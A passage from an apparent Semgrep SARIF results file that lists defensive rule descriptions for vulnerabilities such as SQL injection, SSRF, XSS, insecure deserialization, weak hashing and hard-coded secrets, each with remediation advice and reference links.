- Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"help":{"markdown":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding","id":"swift.lang.ns.nscoding.swift-nscoding","name":"swift.lang.ns.nscoding.swift-nscoding","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.nscoding.swift-nscoding"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete","id":"cpp.lang.security.memory.deallocation.double-delete.double-delete","name":"cpp.lang.security.memory.deallocation.double-delete.double-delete","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-delete.double-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","id":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","name":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"help":{"markdown":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect","id":"javascript.express.security.audit.express-open-redirect.express-open-redirect","name":"javascript.express.security.audit.express-open-redirect.express-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-open-redirect.express-open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"help":{"markdown":"Downcasting or changing sign of an integer with `$CAST_METHOD` method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast)\n - [https://github.com/golang/go/issues/30209](https://github.com/golang/go/issues/30209)\n","text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"helpUri":"https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","id":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","name":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","properties":{"precision":"very-high","tags":["CWE-681: Incorrect Conversion between Numeric Types","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","id":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","name":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-mode.weak-symmetric-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS AppSync GraphQL Key detected"},"help":{"markdown":"AWS AppSync GraphQL Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS AppSync GraphQL Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","id":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","name":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"help":{"markdown":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request)\n - [https://godoc.org/github.com/reiver/go-telnet](https://godoc.org/github.com/reiver/go-telnet)\n","text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","id":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","name":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC677 callAfterTransfer() reentrancy"},"help":{"markdown":"ERC677 callAfterTransfer() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n - [https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58](https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58)\n","text":"ERC677 callAfterTransfer() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy","id":"solidity.security.erc677-reentrancy.erc677-reentrancy","name":"solidity.security.erc677-reentrancy.erc677-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc677-reentrancy.erc677-reentrancy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host","id":"java.spring.security.injection.tainted-url-host.tainted-url-host","name":"java.spring.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"help":{"markdown":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33)\n","text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","id":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","name":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","id":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","name":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","id":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","name":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask","id":"python.flask.db.generic-sql-flask.generic-sql-flask","name":"python.flask.db.generic-sql-flask.generic-sql-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.generic-sql-flask.generic-sql-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep 